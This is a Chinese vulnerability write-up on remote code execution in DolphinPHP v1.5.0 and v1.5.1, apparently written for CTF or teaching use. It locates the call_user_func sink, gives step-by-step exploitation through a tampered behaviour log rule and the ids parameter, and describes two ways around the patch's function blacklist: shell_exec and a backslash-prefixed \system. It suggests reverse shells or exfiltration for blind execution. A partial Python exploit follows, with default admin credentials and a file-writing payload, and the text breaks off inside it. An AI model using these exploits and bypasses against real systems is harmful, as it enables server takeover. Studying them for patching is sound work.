浅析DolphinPHP新版本的漏洞挖掘
字数 1300 2025-08-25 22:59:20
DolphinPHP漏洞分析与利用教学文档
一、前言
本文档详细分析DolphinPHP v1.5.0和v1.5.1版本中的RCE漏洞,包括漏洞定位、分析过程、利用方法以及修复方案的绕过技术。
二、环境准备
- 项目地址: https://github.com/caiweiming/DolphinPHP
- 测试版本: v1.5.0和v1.5.1
三、v1.5.0漏洞分析
3.1 漏洞点定位
通过对比修复前后的Commit,发现application\common.php中的call_user_func函数增加了is_disable_func()判断,因此漏洞点在此处。
3.2 漏洞分析
3.2.1 参数可控性分析
call_user_func函数的两个关键参数:
$param[1]: 回调函数名称- 来源于解析日志规则时的
$match[1] - 由正则表达式`/(
- 来源于解析日志规则时的
\[\S+? \]
)/匹配$action_info['log']`得出
$action_info['log']来自数据库表admin_action的log字段
$log[$param[0]]: 传递给回调函数的参数$param[0]来自日志规则解析$log数组中的$model和$details字段可控
3.2.2 关键数据流
- 后台行为管理可控制
admin_action表中的log值 log值格式为[field|function],如[details|system]$details参数通过附件管理功能中的ids参数控制
3.3 漏洞利用链
- 修改行为管理中的
attachment_disable行为日志规则 - 通过附件管理功能触发禁用操作
- 控制
ids参数作为命令执行参数
3.4 漏洞利用步骤
- 登录后台,进入"系统->行为管理"
- 编辑
attachment_disable行为,修改日志规则为[details|system] - 上传一个测试附件
- 禁用该附件,抓包修改
ids参数为要执行的命令(如calc) - 触发
call_user_func("system","calc")执行
四、v1.5.1漏洞挖掘
4.1 官方修复方案
在call_user_func前增加了is_disable_func()检测,检查函数是否在黑名单中。
4.2 绕过方法一:使用未禁用的函数
shell_exec不在disable_functions列表中,可将system替换为shell_exec。
4.3 绕过方法二:绕过in_array检测
使用反斜杠前缀绕过in_array()检测:
\system会被in_array()视为不在黑名单中call_user_func仍能正常执行\system
4.4 无回显RCE利用
由于是无回显RCE,可采用以下方法:
- 反弹shell
- 外带数据
- 写入文件后访问(如
echo "内容" > /var/www/html/public/result.txt)
五、漏洞利用EXP
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64
import sys
import requests
def send_request(session, method, path, data=None, files=None):
url = f"http://{session.host}:{session.port}{path}"
response = session.request(method, url, data=data, files=files)
return response
def exp(host, port):
payload = "echo `cat /flag` > /var/www/html/public/flag.txt"
session = requests.Session()
session.host = host
session.port = port
# 登录
login_data = {"username": "admin", "password": "admin"}
response1 = send_request(session, 'POST', '/admin.php/user/publics/signin.html', data=login_data)
if "登录成功" not in response1.text:
raise Exception("Login failed")
# 修改行为规则
send_request(session, 'GET', '/admin.php/admin/action/index.html?page=2')
edit_data = {
"id": "13",
"module": "admin",
"name": "attachment_disable",
" "